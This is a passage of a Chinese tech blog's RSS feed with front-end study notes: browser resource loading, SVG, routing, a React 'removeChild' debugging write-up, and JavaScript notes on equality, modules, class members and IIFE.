<ul>
<li>
<p><strong>存放形式</strong>：</p>
<ul>
<li>这些文件通常是二进制文件，存储的是图像、字体、视频或音频数据。浏览器通过 URL 引用这些资源。</li>
</ul>
</li>
<li>
<p><strong>加载机制</strong>：</p>
<ul>
<li>图片、音视频等文件的加载是异步的，不会阻塞 HTML 或 CSS 的解析。</li>
<li>浏览器会根据资源的大小、网络带宽和页面布局优先级决定资源的加载顺序。</li>
</ul>
</li>
</ul>
</li>
<li>
<p>缓存机制</p>
<ul>
<li>浏览器会将静态资源（如 CSS、JavaScript、图片等）缓存在本地，以加快后续的加载速度。</li>
<li>缓存策略可以通过 HTTP 头信息（如 <code>Cache-Control</code>、<code>ETag</code> 等）进行控制。文件修改时可以通过版本控制（如文件名哈希）来强制浏览器重新加载新版本的文件。</li>
</ul>
</li>
</ol>
<h2 id="测试">测试</h2>
<ul>
<li>参考 <a href="https://x.com/chenenpei/status/1848673102215188690"  target="_blank" rel="noopener" >陈恩培 on X</a></li>
</ul>
<hr>
<h2 id="杂项">杂项</h2>
<h3 id="svg">SVG</h3>
<ul>
<li>全称: Scalable Vector Graphics(可缩放矢量图形)</li>
<li>介于DOM和Canvas之间，既提供了图形的绘制能力，又提供了元素的DOM交互能力</li>
<li>特点
<ul>
<li>SVG不存在回流这种布局问题，最多也就是重绘。但是DOM的动画就可能导致回流。</li>
<li>SVG是矢量图形，而Canvas绘制的是位图</li>
<li>当屏幕尺寸越大时，SVG的渲染速度差异不大，但是Canvas的渲染时长明显增加</li>
<li>当绘制对象过多时，SVG的渲染时长指数增加，Canvas保持稳定增长</li>
<li>Canvas不支持DOM事件</li>
</ul>
</li>
<li>参考
<ul>
<li><a href="https://padaker.com/blog/post/605daf77cb81362ed96f2fca"  target="_blank" rel="noopener" >重学SVG</a></li>
<li><a href="https://padaker.com/blog/post/62300759cb81362ed96f2ff1"  target="_blank" rel="noopener" >超实用教程 - SVG Icon封装</a></li>
</ul>
</li>
</ul>
<h3 id="babel">Babel</h3>
<ul>
<li><a href="https://babeljs.io/"  target="_blank" rel="noopener" >Babel · Babel</a></li>
</ul>
<h3 id="jwt-json-web-token">JWT (Json Web Token)</h3>
<p>见[进一步学习jwt]</p>
<h3 id="路由">路由</h3>
<ul>
<li><code>pushState</code>
<ul>
<li>在改变url的同时向浏览器历史栈中压入新的历史记录,且不会重新加载页面</li>
<li>接受三个参数：状态对象，新状态的标题和可选的相对URL(不能跨域，即协议，域名，端口必须都是相同的)</li>
</ul>
</li>
<li><code>replaceState</code></li>
<li><code>popState</code>
<ul>
<li>在浏览器提供的history对象上还有go, back方法，用以模拟用户点击浏览器的前进后退按钮。在某个web应用当中，比如点击了<!-- raw HTML omitted -->标签，发生了页面的跳转。这时调用history.back()方法后页面回退，同时页面发生刷新,这时window.onpopstate无法监听这个事件。但是如果是通过pushState或者replaceState来改变URL且不发生浏览器刷新的话，再使用history.back()或history.go(),这样popstate事件会被触发。</li>
</ul>
</li>
<li>参考
<ul>
<li><a href="https://www.cnblogs.com/xuzhudong/p/8886752.html"  target="_blank" rel="noopener" >前端路由的实现(三) —— History的pushState和replaceState用法 - baoyadong - 博客园</a></li>
</ul>
</li>
</ul>
<h3 id="瀑布流">瀑布流</h3>
<p>如何实现的长列表？
瀑布流 如何实现的长列表？
你是如何判断谁是底部元素的？
如果一次只请求10条数据，前端只展示了5条数据，如何判断底部元素的交叉状态？</p>
<h3 id="git-merge和-git-rebase的区别">git merge和 git rebase的区别</h3>
<h3 id="实现一个dialog模板">实现一个Dialog模板</h3>
<p><a href="https://blog.csdn.net/qq_45856669/article/details/126577449"  target="_blank" rel="noopener" >面试题：React实现一个Dialog模板_react dialog-CSDN博客</a></p>
<h3 id="实现个栈用了好几种方法实现包括最原始的单链表还讲了讲symbol等乱七八糟的东西">实现个栈（用了好几种方法实现，包括最原始的单链表），还讲了讲symbol等乱七八糟的东西</h3>
<h3 id="jsbridge原理">jsBridge原理</h3>
<h3 id="如何把一个对象变成可迭代对象实现symboliteractor属性">如何把一个对象变成可迭代对象（实现[Symbol.iteractor]属性）</h3>
<h3 id="proxy对象能拦截什么">Proxy对象能拦截什么</h3>
<h3 id="jss">jss</h3>
<ul>
<li><a href="https://cssinjs.org/?v=v10.10.1"  target="_blank" rel="noopener" >JSS</a></li>
</ul>
<h3 id="字体反爬">字体反爬</h3>
<ul>
<li><a href="https://www.shymean.com/article/%E5%89%8D%E7%AB%AF%E5%AD%97%E4%BD%93%E5%8F%8D%E7%88%AC%E5%8E%9F%E7%90%86"  target="_blank" rel="noopener" >前端字体反爬原理 | ShyMean</a></li>
</ul>
<h2 id="参考">参考</h2>
<ul>
<li><a href="https://smileyqp.github.io/frontend_book/"  target="_blank" rel="noopener" >前端基础知识 · GitBook</a></li>
<li><a href="https://github.com/miracle90/Interview/tree/master"  target="_blank" rel="noopener" >miracle90/Interview: 前端八股文大全！</a></li>
<li><a href="https://vue3js.cn/interview/"  target="_blank" rel="noopener" >web前端面试 - 面试官系列</a></li>
<li><a href="https://bgww.apachecn.org/"  target="_blank" rel="noopener" >【布客】八股文知识库</a></li>
<li><a href="https://yingkaixiang.github.io/blog/"  target="_blank" rel="noopener" >Yingkaixiang&rsquo;s Blog</a></li>
<li><a href="https://zh.javascript.info/"  target="_blank" rel="noopener" >现代 JavaScript 教程</a></li>
<li><a href="https://tsejx.github.io/javascript-guidebook//"  target="_blank" rel="noopener" >JavaScript Guidebook</a></li>
<li><a href="https://github.com/yiliang114/Blog/issues/1"  target="_blank" rel="noopener" >前端校招知识点总结 · Issue #1 · yiliang114/Blog</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>记一次react报错排查</title>
      <link>https://euds.org/2024/a-react-debug-experience/</link>
      <pubDate>Thu, 07 Mar 2024 15:34:14 +0800</pubDate>
      
      <guid>https://euds.org/2024/a-react-debug-experience/</guid>
      <description>Failed to execute &amp;lsquo;removeChild&amp;rsquo; on &amp;lsquo;Node&amp;rsquo;</description>
      <content:encoded><![CDATA[<h2 id="场景">场景</h2>
<p>在<a href="https://github.com/EuDs63/postkid"  target="_blank" rel="noopener" >EuDs63/postkid: A lightweight tool offering key functionalities inspired by Postman.</a>,当我发送一次请求之后，再次发送时报错：</p>
<blockquote>
<p>NotFoundError: Failed to execute &lsquo;removeChild&rsquo; on &lsquo;Node&rsquo;: The node to be removed is not a child of this node.</p>
</blockquote>
<h2 id="排查">排查</h2>
<p>因为上一个版本并没有这个问题，于是我比较了这几次的commit记录，发现问题很可能出现在Prism的高亮，相关代码如下：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-typescript" data-lang="typescript"><span class="line"><span class="cl">  <span class="nx">useEffect</span><span class="p">(()</span> <span class="o">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="nx">response</span> <span class="o">&amp;&amp;</span> <span class="nx">response</span><span class="p">.</span><span class="nx">data</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nx">Prism</span><span class="p">.</span><span class="nx">highlightAll</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">},</span> <span class="p">[</span><span class="nx">response</span><span class="p">]);</span>
</span></span></code></pre></div><p>当我将<code>Prism.highlightAll();</code>注释掉后，程序就不再报错了，但这显然不是我所希望的。几经查找后，发现了<a href="https://juejin.cn/post/6938321875298680845"  target="_blank" rel="noopener" >Failed to execute &lsquo;removeChild&rsquo; on &lsquo;Node&rsquo; - 掘金</a>解决了我的问题，在<code>pre code</code>外加一层<code>&lt;div&gt;</code>就解决了。</p>
<p>该篇文章也给出了一定的解释:</p>
<blockquote>
<p>经过分析发现是使用组件的问题，考虑DOM-DIff算法是比对不同的React节点，而该组件的渲染直接是第三方插件的代码，在componentDidMount阶段才进行DOM节点的挂载，在此之前是没有node节点的，故需要增加一个可识别的node节点。</p>
</blockquote>
<p>但对来说比较简略，我希望能彻底搞懂相关的概念，以下是我的笔记。</p>
<h2 id="lifecycle">Lifecycle</h2>
<h3 id="there-phases">there phases</h3>
<ol>
<li>mounting: initial render</li>
<li>updating: is triggered when the props are updated or when the state is updated</li>
<li>unmounting: when the component is removed from the DOM</li>
</ol>
<h3 id="methods">methods</h3>
<ul>
<li>Each phase has specific methods responsible for a particular stage in a component&rsquo;s lifecycle. These methods <strong>are technically particular to class-based components</strong> and not intended for functional components.</li>
<li><a href="https://projects.wojtekmaj.pl/react-lifecycle-methods-diagram/"  target="_blank" rel="noopener" >React lifecycle methods diagram</a></li>
<li><code>shouldComponentUpdate</code> -&gt; <code>useMemo</code>、 <code>memo</code></li>
<li>&ldquo;Commit phase&quot;中的三个方法,Can work with DOM, run side effects, schedule updates：
<ol>
<li><code>componentDidMount</code> -&gt; the useEffect hook with the second argument of []</li>
<li><code>componentDidUpdate</code> -&gt; the useEffect hook with the second argument of [state]</li>
<li><code>componentWillUnmount</code> -&gt; <strong>return a function</strong> that runs on unmounting inside the useEffect function,例:</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl">    <span class="nx">useEffect</span><span class="p">(()</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s2">&#34;Hello&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="p">()</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s2">&#34;Bye&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">};</span>
</span></span><span class="line"><span class="cl"><span class="p">},</span> <span class="p">[]);</span>
</span></span></code></pre></div></li>
</ul>
<h2 id="虚拟dom-virtual-document-object-model">虚拟DOM （Virtual Document Object Model）</h2>
<p>在React中，当状态（state）发生变化时，React并不直接操作真实的DOM来更新页面，而是先在内存中构建一个虚拟DOM树，然后通过比较虚拟DOM树和之前渲染的虚拟DOM树之间的差异，最终计算出最小的DOM操作，并将这些操作批量应用到真实的DOM上。</p>
<h3 id="虚拟dom节点可能包含的详细信息">虚拟DOM节点可能包含的详细信息</h3>
<ol>
<li><strong>type</strong>：节点类型可以是元素节点、文本节点或者组件节点。</li>
<li><strong>props</strong>：节点可能包含一些属性，这些属性描述了节点的特征，比如元素节点的class、id、style等属性，以及事件处理函数等。chidren 是 props 中的一个属性，它存储了当前组件的孩子节点，可以是数组（多个孩子节点）或对象（只有一个孩子节点）</li>
<li><strong>key</strong>：用于在DOM的重渲染过程中标识节点的唯一性，有助于React在进行差异比较时准确找到对应的节点。</li>
<li><strong>ref</strong>：用于获取节点的引用，通常用于在组件中操作DOM节点。</li>
<li><strong>owner</strong>: 所属的Component</li>
<li>其他</li>
</ol>
<h3 id="diff算法">diff算法</h3>
<ul>
<li>比较当前的虚拟DOM树和状态变更将要重新渲染时生成的虚拟DOM树的算法。</li>
<li>参考<a href="https://xie.infoq.cn/article/65e938d933cc751fcc008942d"  target="_blank" rel="noopener" >谈谈虚拟DOM，Diff算法与Key机制_React_beifeng1996_InfoQ写作社区</a></li>
<li>关键：
<ol>
<li>深度优先</li>
<li>只对同一级别的元素进行比较</li>
</ol>
</li>
<li>三种diff
<ol>
<li>tree diff : 只是简单进行了删除和创建操作</li>
<li>component diff：
<ul>
<li>使用的是<code>===</code>严格相等。也就是&quot;引用相等性&rdquo;</li>
<li>不同类型 -&gt; 直接替换整个组件下的所有子节点，即销毁原组件，创建新组件。</li>
<li>同一类型 -&gt; 继续判断</li>
</ul>
</li>
<li>element diff: 针对同一层级的所有节点（包括元素节点和组件节点）的 diff 算法
<ul>
<li>三种操作：
<ol>
<li>insert_markup</li>
<li>move_existing</li>
<li>remove_node:</li>
</ol>
</li>
<li>涉及到列表元素顺序的动态变更时，不要用遍历的 index 作为节点的 key 属性值</li>
</ul>
</li>
</ol>
</li>
</ul>
<h2 id="参考">参考</h2>
<ul>
<li><a href="https://juejin.cn/post/6938321875298680845"  target="_blank" rel="noopener" >Failed to execute &lsquo;removeChild&rsquo; on &lsquo;Node&rsquo; - 掘金</a></li>
<li><a href="https://www.twilio.com/en-us/blog/react-choose-functional-components"  target="_blank" rel="noopener" >Understanding Functional Components vs. Class Components in React</a></li>
<li><a href="https://retool.com/blog/the-react-lifecycle-methods-and-hooks-explained"  target="_blank" rel="noopener" >The React lifecycle: methods and hooks explained</a></li>
<li><a href="https://xie.infoq.cn/article/65e938d933cc751fcc008942d"  target="_blank" rel="noopener" >React面试：谈谈虚拟DOM，Diff算法与Key机制_React_beifeng1996_InfoQ写作社区</a></li>
<li><a href="https://prin.pw/react-unstable-nested-components"  target="_blank" rel="noopener" >真的不可以在 React 组件内部嵌套定义子组件吗？ - PRIN BLOG</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>JavaScript知识点整理</title>
      <link>https://euds.org/2024/javascript_points/</link>
      <pubDate>Wed, 06 Mar 2024 15:34:14 +0800</pubDate>
      
      <guid>https://euds.org/2024/javascript_points/</guid>
      <description>自己学习过程中整理的关于JavaScript的知识点</description>
      <content:encoded><![CDATA[<p><strong>本文记录了我学习过程中整理的关于JavaScript的知识点,以摘抄为主，绝大部分非原创。未能全部都标明出处，在此致歉</strong></p>
<h2 id="历史">历史</h2>
<ul>
<li><a href="https://wangdoc.com/javascript/basic/history"  target="_blank" rel="noopener" >JavaScript 语言的历史 - JavaScript 教程 - 网道</a></li>
</ul>
<h2 id="双等号和三等号和objectis">双等号和三等号和Object.is</h2>
<ul>
<li><code>==</code> 只比较值是否相等。在比较数值之前，它将变量的类型转换为相互匹配</li>
<li><code>===</code> 不执行类型转换。它将验证被比较的变量是否具有相同的值和相同的类型。</li>
<li><code>Object.is()</code>
<ul>
<li>与 == 运算符并不等价: Object.is() 不会对其操作数进行类型转换</li>
<li>也不等价于 === 运算符: 唯一区别在于它们处理带符号的 0 和 NaN 值的时候。=== 运算符（和 == 运算符）将数值 -0 和 +0 视为相等，但是会将 NaN 视为彼此不相等</li>
</ul>
</li>
</ul>
<h3 id="示例">示例</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">number</span> <span class="o">=</span> <span class="mi">1234</span> 
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">stringNumber</span> <span class="o">=</span> <span class="s1">&#39;1234&#39;</span>  
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">number</span> <span class="o">==</span> <span class="nx">stringNumber</span><span class="p">)</span> <span class="c1">//true
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">number</span> <span class="o">===</span> <span class="nx">stringNumber</span><span class="p">)</span>  <span class="c1">//false  
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="mi">0</span> <span class="o">==</span> <span class="kc">false</span><span class="p">)</span> <span class="c1">//true
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="mi">0</span> <span class="o">===</span> <span class="kc">false</span><span class="p">)</span> <span class="c1">//false 
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">str</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">str</span> <span class="o">==</span> <span class="kc">false</span><span class="p">)</span> <span class="c1">//true
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">str</span> <span class="o">===</span> <span class="kc">false</span><span class="p">)</span> <span class="c1">//false
</span></span></span></code></pre></div><h3 id="参考">参考</h3>
<ul>
<li><a href="https://www.freecodecamp.org/news/javascript-triple-equals-sign-vs-double-equals-sign-comparison-operators-explained-with-examples/"  target="_blank" rel="noopener" >JavaScript Triple Equals Sign VS Double Equals Sign – Comparison Operators Explained with Examples</a></li>
</ul>
<hr>
<h2 id="-and-">? and ??</h2>
<ul>
<li><code>?</code>  可选链操作符（Optional Chaining Operator）
<ul>
<li>用于简化访问嵌套对象属性时的代码，可以安全地访问深度嵌套的属性，避免因为中间属性不存在而导致的错误。</li>
</ul>
</li>
<li><code>??</code> 空值合并操作符（Nullish Coalescing Operator），用于提供默认值
<ul>
<li>当左侧操作数为null或undefined时，返回右侧操作数，否则返回左侧操作数。</li>
<li>与逻辑或（||）操作符不同，空值合并操作符只在左侧操作数为null或undefined时返回右侧操作数，对于其他假值（如0、&lsquo;&lsquo;等）不会触发返回右侧操作数。</li>
<li><a href="https://jordaneldredge.com/blog/defaulting-to-empty-string-is-a-code-smell/"  target="_blank" rel="noopener" >?? &quot;&quot; is a Code Smell / Jordan Eldredge</a></li>
</ul>
</li>
</ul>
<hr>
<h2 id="静态属性和静态方法">静态属性和静态方法</h2>
<ul>
<li>静态方法用于实现属于整个类，但不属于该类任何实例的函数。
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kr">class</span> <span class="nx">Article</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">constructor</span><span class="p">(</span><span class="nx">title</span><span class="p">,</span> <span class="nx">date</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">this</span><span class="p">.</span><span class="nx">title</span> <span class="o">=</span> <span class="nx">title</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">this</span><span class="p">.</span><span class="nx">date</span> <span class="o">=</span> <span class="nx">date</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// 静态方法
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="kr">static</span> <span class="nx">compare</span><span class="p">(</span><span class="nx">articleA</span><span class="p">,</span> <span class="nx">articleB</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nx">articleA</span><span class="p">.</span><span class="nx">date</span> <span class="o">-</span> <span class="nx">articleB</span><span class="p">.</span><span class="nx">date</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="c1">// 直接将其作为属性赋值的作用相同
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">Article</span><span class="p">.</span><span class="nx">compare</span> <span class="o">=</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">articleA</span><span class="p">,</span> <span class="nx">articleB</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nx">articleA</span><span class="p">.</span><span class="nx">date</span> <span class="o">-</span> <span class="nx">articleB</span><span class="p">.</span><span class="nx">date</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="c1">// 可以在类上调用，而不是在单个对象上
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kd">let</span> <span class="nx">article</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Article</span><span class="p">(</span><span class="s2">&#34;HTML&#34;</span><span class="p">,</span> <span class="k">new</span> <span class="nb">Date</span><span class="p">(</span><span class="mi">2019</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">));</span>
</span></span><span class="line"><span class="cl"><span class="nx">article</span><span class="p">.</span><span class="nx">compare</span><span class="p">()</span> <span class="c1">/// Error: article.createTodays is not a function
</span></span></span></code></pre></div></li>
<li>静态属性
<ul>
<li>等同于直接给类赋值</li>
</ul>
</li>
<li>静态属性和方法是可被继承的。</li>
<li>参考
<ul>
<li><a href="https://zh.javascript.info/static-properties-methods"  target="_blank" rel="noopener" >静态属性和静态方法</a></li>
</ul>
</li>
</ul>
<hr>
<h2 id="私有属性">私有属性</h2>
<ul>
<li>私有属性通过添加<code>#</code>前缀来创建，在类的外部无法合法地引用。</li>
<li>私有属性不是原型继承模型的一部分，因为它们只能在当前类内部被访问，而且不能被子类继承。</li>
<li>无法使用方括号表示法动态访问它</li>
<li>访问对象中不存在的私有属性，会抛出 TypeError 错误，而不是像普通属性一样返回 undefined</li>
<li>参考<a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Classes/Private_properties"  target="_blank" rel="noopener" >私有属性 - JavaScript | MDN</a></li>
</ul>
<hr>
<h2 id="序列化与反序列化">序列化与反序列化</h2>
<ul>
<li>见<a href="https://ds63.eu.org/2024/serialization_and_deserialization"  target="_blank" rel="noopener" >json的序列化与反序列化</a></li>
</ul>
<h2 id="相等性">相等性</h2>
<p>摘自<a href="https://prin.pw/react-unstable-nested-components/#%E5%BC%95%E7%94%A8%E7%9B%B8%E7%AD%89%E6%80%A7%E4%B8%8E%E7%BB%84%E4%BB%B6%E9%87%8D%E6%B8%B2%E6%9F%93"  target="_blank" rel="noopener" >真的不可以在 React 组件内部嵌套定义子组件吗？ - PRIN BLOG</a></p>
<ul>
<li>值相等性 (Value Equality)，即两个值类型一致，内容也一致</li>
<li>引用相等性 (Reference Equality)，即两个对象的引用在内存中指向同一块区域
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="c1">// 两个长得一样的对象
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kr">const</span> <span class="nx">a</span> <span class="o">=</span> <span class="p">{</span> <span class="nx">name</span><span class="o">:</span> <span class="s1">&#39;Anon Tokyo&#39;</span> <span class="p">};</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">b</span> <span class="o">=</span> <span class="p">{</span> <span class="nx">name</span><span class="o">:</span> <span class="s1">&#39;Anon Tokyo&#39;</span> <span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// &#34;引用相等性&#34; 比较 - false
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">a</span> <span class="o">===</span> <span class="nx">b</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nb">Object</span><span class="p">.</span><span class="nx">is</span><span class="p">(</span><span class="nx">a</span><span class="p">,</span> <span class="nx">b</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// &#34;值相等性&#34; 比较 - true
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">lodash</span><span class="p">.</span><span class="nx">isEqual</span><span class="p">(</span><span class="nx">a</span><span class="p">,</span> <span class="nx">b</span><span class="p">));</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">a</span><span class="p">.</span><span class="nx">name</span> <span class="o">===</span> <span class="nx">b</span><span class="p">.</span><span class="nx">name</span><span class="p">);</span>
</span></span></code></pre></div></li>
<li>React 在比较节点的 type 时，使用的是<code>===</code>严格相等。也就是&quot;引用相等性&quot;</li>
</ul>
<h2 id="commonjs-vs-es6ecmascript-6">CommonJS V.S. ES6（ECMAScript 6）</h2>
<p>参考<a href="https://blog.logrocket.com/commonjs-vs-es-modules-node-js/"  target="_blank" rel="noopener" >CommonJS vs. ES modules in Node.js - LogRocket Blog</a></p>
<p>二者都是JavaScript的模块规范，现代开发中后者用的比较多。</p>
<h2 id="模块化">模块化</h2>
<ul>
<li>CommonJS规范用的是<code>require()</code>,<code>exports</code>组合
<ul>
<li><code>require()</code>本质是函数。需要谁，导入谁，返回值是对象。</li>
<li><code>exports</code>本质是对象。想暴露哪个变量，就给exports增加属性就行</li>
<li><code>module.exports</code> 是NodeJS实现的<code>exports</code>，<code>module.exports = exports</code> ，<code>module.exports</code>每个文件都有，本质是一个实例，所以最后还是以<code>module.exports</code>为准</li>
<li>加载模块是同步的,意味着只有等到对应的模块加载完毕，当前模块中的内容才能被运行</li>
<li>不能直接在浏览器使用，会报错:&lsquo;require is not defined&rsquo;。如果非要直接在浏览器中使用的话，需要browserify插件</li>
</ul>
</li>
<li>ES module用的是<code>import</code>,<code>export</code>组合
<ul>
<li><code>import</code> 本质是一个关键字。特殊情况下也可以当函数<code>import()</code></li>
<li><code>export</code> 本质是关键字。</li>
<li>ES imports are hoisted by spec(which Babel follows)</li>
<li>可选择性加载所需的部分，如<code>import { render } from react</code></li>
<li>异步加载:
有些场景下需要异步加载，比如<a href="https://ds63.eu.org/2024/postkid/#referenceerror-navigator-is-not-defined"  target="_blank" rel="noopener" >Postkid：ReferenceError: navigator is not defined | EuDs&rsquo;s Blog</a>
代码示例:
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="c1">// 当flag为true的时候才导入某个模块  
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kd">let</span> <span class="nx">flag</span> <span class="o">=</span> <span class="kc">true</span>  
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="nx">flag</span><span class="p">)</span> <span class="p">{</span>  
</span></span><span class="line"><span class="cl">  <span class="c1">// import time from &#34;./module.js&#34; // NG: 一段解析阶段的代码放到了运行阶段去执行
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="c1">// 因为是异步加载 非同步 有个返回值 返回值是promise  
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="kr">const</span> <span class="nx">promise</span> <span class="o">=</span> <span class="kr">import</span><span class="p">(</span><span class="s2">&#34;./module.js&#34;</span><span class="p">)</span>   
</span></span><span class="line"><span class="cl">      <span class="p">.</span><span class="nx">then</span><span class="p">((</span><span class="nx">res</span><span class="p">)=&gt;{</span>  
</span></span><span class="line"><span class="cl">      <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">res</span><span class="p">)</span>  
</span></span><span class="line"><span class="cl">    <span class="p">})</span>  
</span></span><span class="line"><span class="cl">      <span class="p">.</span><span class="k">catch</span><span class="p">()</span>  
</span></span><span class="line"><span class="cl"><span class="p">}</span>  
</span></span></code></pre></div></li>
<li><code>import</code>可以在JavaScript可以直接使用，但是如果想直接在script中使用src的方式引入的话，需要指定<code>type=&quot;module&quot;</code>，声明引入的是一个js模块。</li>
</ul>
</li>
<li><strong>可以混用</strong>：<code>babel</code>之类的编译会将其统一编译成特定规范,但最好不要混用</li>
<li>参考
<ul>
<li><a href="https://chihokyo.com/post/35/"  target="_blank" rel="noopener" >彻底搞清楚JS的模块化import/export/require&hellip;问题| 旺财的博客</a></li>
<li><a href="https://juejin.cn/post/6844904114183208968"  target="_blank" rel="noopener" >干货:import和require如何在项目中混用 - 掘金</a></li>
<li><a href="https://robin-front.github.io/2017/07/10/dont-mixin-import-and-require.html"  target="_blank" rel="noopener" >不要混用 import 和 require | 知更鸟</a></li>
<li><a href="https://daotin.netlify.app/qe8yn8.html"  target="_blank" rel="noopener" >关于require和import的疑问 | 道廷途说</a></li>
<li><a href="https://juejin.cn/post/6969800612519084063"  target="_blank" rel="noopener" >几分钟了解js的模块化、IIFE。几分钟了解模块化： 1. CommonJS 2. AMD 3. CMD 4. ES6 - 掘金</a></li>
</ul>
</li>
</ul>
<hr>
<h2 id="iife立即调用函数表达式">IIFE（立即调用函数表达式）</h2>
<ul>
<li>参考<a href="https://developer.mozilla.org/zh-CN/docs/Glossary/IIFE"  target="_blank" rel="noopener" >IIFE（立即调用函数表达式）| MDN</a></li>
<li>一种设计模式</li>
<li>示例：
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">foo</span> <span class="o">=</span> <span class="s1">&#39;hello&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">(</span><span class="kd">function</span><span class="p">(</span><span class="nx">foo</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">foo</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="kd">var</span> <span class="nx">foo</span> <span class="o">=</span> <span class="nx">foo</span> <span class="o">||</span> <span class="s1">&#39;world&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">foo</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">})(</span><span class="nx">foo</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">foo</span><span class="p">);</span>
